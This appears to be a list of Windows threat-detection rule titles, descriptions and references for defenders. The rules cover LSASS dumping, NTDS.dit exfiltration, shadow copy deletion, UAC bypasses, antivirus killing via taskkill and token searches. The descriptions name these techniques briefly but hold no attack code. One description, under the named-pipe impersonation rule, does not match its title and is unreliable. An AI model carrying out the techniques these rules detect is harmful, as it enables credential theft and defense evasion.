Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI	Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"	https://twitter.com/pfiatde/status/1681977680688738305, https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/, https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/, https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
Writing Of Malicious Files To The Fonts Folder	Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.	https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/
Potential Homoglyph Attack Using Lookalike Characters	Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.	https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish, http://www.irongeek.com/homoglyph-attack-generator.php
Execution Of Non-Existing File	Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)	https://pentestlaboratories.com/2021/12/08/process-ghosting/
Base64 MZ Header In CommandLine	Detects encoded base64 MZ header in the commandline	https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Potential WinAPI Calls Via CommandLine	Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec	https://twitter.com/m417z/status/1566674631788007425
Potentially Suspicious JWT Token Search Via CLI	Detects possible search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". This string is used as an anchor to look for the start of the JWT token used by microsoft office and similar apps.	https://mrd0x.com/stealing-tokens-from-office-applications/
Local Accounts Discovery	Local accounts, System Owner/User discovery using operating systems utilities	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md
LOLBIN Execution From Abnormal Drive	Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.	https://thedfirreport.com/2021/12/13/diavol-ransomware/, https://www.scythe.io/library/threat-emulation-qakbot, https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/
LSASS Dump Keyword In CommandLine	Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.	https://github.com/Hackndo/lsassy, https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf, https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml, https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/, https://github.com/helpsystems/nanodump, https://github.com/CCob/MirrorDump
Potential File Download Via MS-AppInstaller Protocol Handler	Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\"	https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/
Suspicious Network Command	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows
Suspicious Scan Loop Network	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md, https://ss64.com/nt/for.html, https://ss64.com/ps/foreach-object.html
Potential Network Sniffing Activity Using Network Tools	Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
Execution of Suspicious File Type Extension	Detects whether the image specified in a process creation event doesn't refer to an ".exe" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process. This rule might require some initial baselining to align with some third party tooling in the user environment.	https://pentestlaboratories.com/2021/12/08/process-ghosting/
Non-privileged Usage of Reg or Powershell	Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg
Process Launched Without Image Name	Detect the use of processes with no name (".exe"), which can be used to evade Image-based detections.	https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
Suspicious Process Patterns NTDS.DIT Exfil	Detects suspicious process patterns used in NTDS.DIT exfiltration	https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/, https://pentestlab.blog/tag/ntds-dit/, https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1, https://github.com/zcgonvh/NTDSDumpEx, https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1, https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
Potentially Suspicious Call To Win32_NTEventlogFile Class	Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script	https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)
Use Short Name Path in Command Line	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection	https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10), https://twitter.com/frack113/status/1555830623633375232
Use Short Name Path in Image	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection	https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10), https://twitter.com/frack113/status/1555830623633375232
Use NTFS Short Name in Command Line	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection	https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10), https://twitter.com/jonasLyk/status/1555914501802921984
Use NTFS Short Name in Image	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection	https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10), https://twitter.com/jonasLyk/status/1555914501802921984
Obfuscated IP Download Activity	Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command	https://h.43z.one/ipconverter/, https://twitter.com/Yasser_Elsnbary/status/1553804135354564608, https://twitter.com/fr0s7_/status/1712780207105404948
Obfuscated IP Via CLI	Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line	https://h.43z.one/ipconverter/, https://twitter.com/Yasser_Elsnbary/status/1553804135354564608
Suspicious Process Parents	Detects suspicious parent processes that should not have any children or should only have a single possible child program	https://twitter.com/x86matthew/status/1505476263464607744?s=12, https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
Private Keys Reconnaissance Via CommandLine Tools	Adversaries may search for private key certificate files on compromised systems for insecurely stored credential	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md
Potential PowerShell Execution Via DLL	Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll. This detection assumes that PowerShell commands are passed via the CommandLine.	https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md
Suspicious RunAs-Like Flag Combination	Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools	https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html
Privilege Escalation via Named Pipe Impersonation	Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.	https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html
Windows Processes Suspicious Parent Directory	Detect suspicious parent processes of well-known Windows processes	https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2, https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/, https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf
Suspicious Program Names	Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
Recon Information for Export with Command Prompt	Once established within a system or network, an adversary may use automated techniques for collecting internal data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
Suspicious Process Execution From Fake Recycle.Bin Folder	Detects process execution from a fake recycle bin folder, often used to avoid security solution.	https://www.mandiant.com/resources/blog/infected-usb-steal-secrets, https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/
Suspicious Redirection to Local Admin Share	Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers	https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/, http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
Potential Remote Desktop Tunneling	Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.	https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html
Potential Defense Evasion Via Right-to-Left Override	Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.	https://redcanary.com/blog/right-to-left-override/, https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method, https://unicode-explorer.com/c/202E
Script Interpreter Execution From Suspicious Folder	Detects a suspicious script execution in temporary folders or folders accessible by environment variables	https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-russia-ukraine-military, https://learn.microsoft.com/en-us/windows/win32/shell/csidl
Suspicious Script Execution From Temp Folder	Detects a suspicious script executions from temporary folder	https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/
Sensitive File Access Via Volume Shadow Copy Backup	Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)	https://twitter.com/vxunderground/status/1423336151860002816?s=20, https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection, https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
Suspicious New Service Creation	Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md, https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
Suspicious Service Binary Directory	Detects a service binary running in a suspicious directory	https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/
Shadow Copies Creation Using Operating Systems Utilities	Shadow Copies creation using operating systems utilities, possible credential access	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/
Suspicious Windows Service Tampering	Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts	https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg, https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/, https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
System File Execution Location Anomaly	Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location.	https://twitter.com/GelosSnake/status/934900723426439170, https://asec.ahnlab.com/en/39828/
Shadow Copies Deletion Using Operating Systems Utilities	Shadow Copies deletion using operating systems utilities	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://blog.talosintelligence.com/2017/05/wannacry.html, https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/, https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/, https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100, https://github.com/Neo23x0/Raccine#the-process, https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar, https://redcanary.com/blog/intelligence-insights-october-2021/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware
Windows Shell/Scripting Processes Spawning Suspicious Programs	Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.	https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
Suspicious SYSTEM User Process Creation	Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)	Internal Research, https://tools.thehacker.recipes/mimikatz/modules
Suspicious SYSVOL Domain Group Policy Access	Detects Access to Domain Group Policies stored in SYSVOL	https://adsecurity.org/?p=2288, https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100
Tasks Folder Evasion	The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr	https://twitter.com/subTee/status/1216465628946563073, https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26
Process Creation Using Sysnative Folder	Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)	https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
Suspicious Userinit Child Process	Detects a suspicious child process of userinit	https://twitter.com/SBousseaden/status/1139811587760562176
Malicious Windows Script Components File Execution by TAEF Detection	Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/, https://twitter.com/pabraeken/status/993298228840992768, https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/
Malicious PE Execution by Microsoft Visual Studio Debugger	There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.	https://twitter.com/pabraeken/status/990758590020452353, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/, https://learn.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019
Weak or Abused Passwords In CLI	Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline	https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments, https://thedfirreport.com/2022/09/26/bumblebee-round-two/, https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/, https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
Usage Of Web Request Commands And Cmdlets	Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine	https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/, https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell, https://learn.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps
WhoAmI as Parameter	Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)	https://twitter.com/blackarrowsec/status/1463805700602224645?s=12
Execution via WorkFolders.exe	Detects using WorkFolders.exe to execute an arbitrary control.exe	https://twitter.com/elliotkillick/status/1449812843772227588
Suspect Svchost Activity	It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.	https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2
Suspicious Process Masquerading As SvcHost.EXE	Detects a suspicious process that is masquerading as the legitimate "svchost.exe" by naming its binary "svchost.exe" and executing from an uncommon location. Adversaries often disguise their malicious binaries by naming them after legitimate system processes like "svchost.exe" to evade detection.	https://tria.ge/240731-jh4crsycnb/behavioral2, https://redcanary.com/blog/threat-detection/process-masquerading/
Terminal Service Process Spawn	Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)	https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
Uncommon Svchost Parent Process	Detects an uncommon svchost parent process	Internal Research
Permission Check Via Accesschk.EXE	Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43, https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW, https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat, https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat
Active Directory Database Snapshot Via ADExplorer	Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database.	https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
Suspicious Active Directory Database Snapshot Via ADExplorer	Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory.	https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
Potential Execution of Sysinternals Tools	Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools	https://twitter.com/Moti_B/status/1008587936735035392
Potential Memory Dumping Activity Via LiveKD	Detects execution of LiveKD based on PE metadata or image name	https://learn.microsoft.com/en-us/sysinternals/downloads/livekd
Kernel Memory Dump Via LiveKD	Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory	https://learn.microsoft.com/en-us/sysinternals/downloads/livekd, https://4sysops.com/archives/creating-a-complete-memory-dump-without-a-blue-screen/, https://kb.acronis.com/content/60892
Procdump Execution	Detects usage of the SysInternals Procdump utility	https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
Potential SysInternals ProcDump Evasion	Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name	https://twitter.com/mrd0x/status/1480785527901204481
Potential LSASS Process Dump Via Procdump	Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable.	https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
Psexec Execution	Detects user accept agreement execution in psexec commandline	https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
PsExec/PAExec Escalation to LOCAL SYSTEM	Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec, https://www.poweradmin.com/paexec/, https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
Potential PsExec Remote Execution	Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec, https://www.poweradmin.com/paexec/, https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
PsExec Service Child Process Execution as LOCAL SYSTEM	Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
PsExec Service Execution	Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec, https://www.youtube.com/watch?v=ro2QuZTIMBM
Suspicious Use of PsLogList	Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs	https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/, https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos, https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList, https://twitter.com/EricaZelic/status/1614075109827874817
Sysinternals PsService Execution	Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering	https://learn.microsoft.com/en-us/sysinternals/downloads/psservice
Sysinternals PsSuspend Execution	Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes	https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend, https://twitter.com/0gtweet/status/1638069413717975046
Sysinternals PsSuspend Suspicious Execution	Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses	https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend, https://twitter.com/0gtweet/status/1638069413717975046
Potential File Overwrite Via Sysinternals SDelete	Detects the use of SDelete to erase a file not the free space	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
Potential Privilege Escalation To LOCAL SYSTEM	Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec, https://www.poweradmin.com/paexec/, https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
Sysmon Configuration Update	Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely	https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
Uninstall Sysinternals Sysmon	Detects the removal of Sysmon, which could be a potential attempt at defense evasion	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon
Potential Binary Impersonating Sysinternals Tools	Detects binaries that use the same name as legitimate sysinternals tools to evade detection	https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
Sysprep on AppData Folder	Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)	https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets, https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b
Suspicious Execution of Systeminfo	Detects usage of the "systeminfo" command to retrieve information	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo
Potential Signing Bypass Via Windows Developer Features	Detects when a user enable developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
Suspicious Recursive Takeown	Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility
Tap Installer Execution	Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques	https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
Compressed File Creation Via Tar.EXE	Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.	https://unit42.paloaltonetworks.com/chromeloader-malware/, https://lolbas-project.github.io/lolbas/Binaries/Tar/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
Compressed File Extraction Via Tar.EXE	Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.	https://unit42.paloaltonetworks.com/chromeloader-malware/, https://lolbas-project.github.io/lolbas/Binaries/Tar/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
Taskkill Symantec Endpoint Protection	Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.	https://www.exploit-db.com/exploits/37525, https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection, https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer
Loaded Module Enumeration Via Tasklist.EXE	Detects the enumeration of a specific DLL or EXE being used by a binary via "tasklist.exe". This is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question. In order to dump the process memory or perform other nefarious actions.	https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/, https://pentestlab.blog/tag/svchost/
Taskmgr as LOCAL_SYSTEM	Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM	Internal Research
New Process Created Via Taskmgr.EXE	Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC	https://twitter.com/ReneFreingruber/status/1172244989335810049
Potentially Suspicious Command Targeting Teams Sensitive Files	Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.	https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/, https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens
Suspicious TSCON Start as SYSTEM	Detects a tscon.exe start as LOCAL SYSTEM	http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html, https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6, https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement
New Virtual Smart Card Created Via TpmVscMgr.EXE	Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.	https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr
Bypass UAC via CMSTP	Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files	https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md, https://lolbas-project.github.io/lolbas/Binaries/Cmstp/
Suspicious RDP Redirect Using TSCON	Detects a suspicious RDP session redirect using tscon.exe	http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html, https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6, https://www.hackingarticles.in/rdp-session-hijacking-with-tscon/
UAC Bypass Using Disk Cleanup	Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)	https://github.com/hfiref0x/UACME
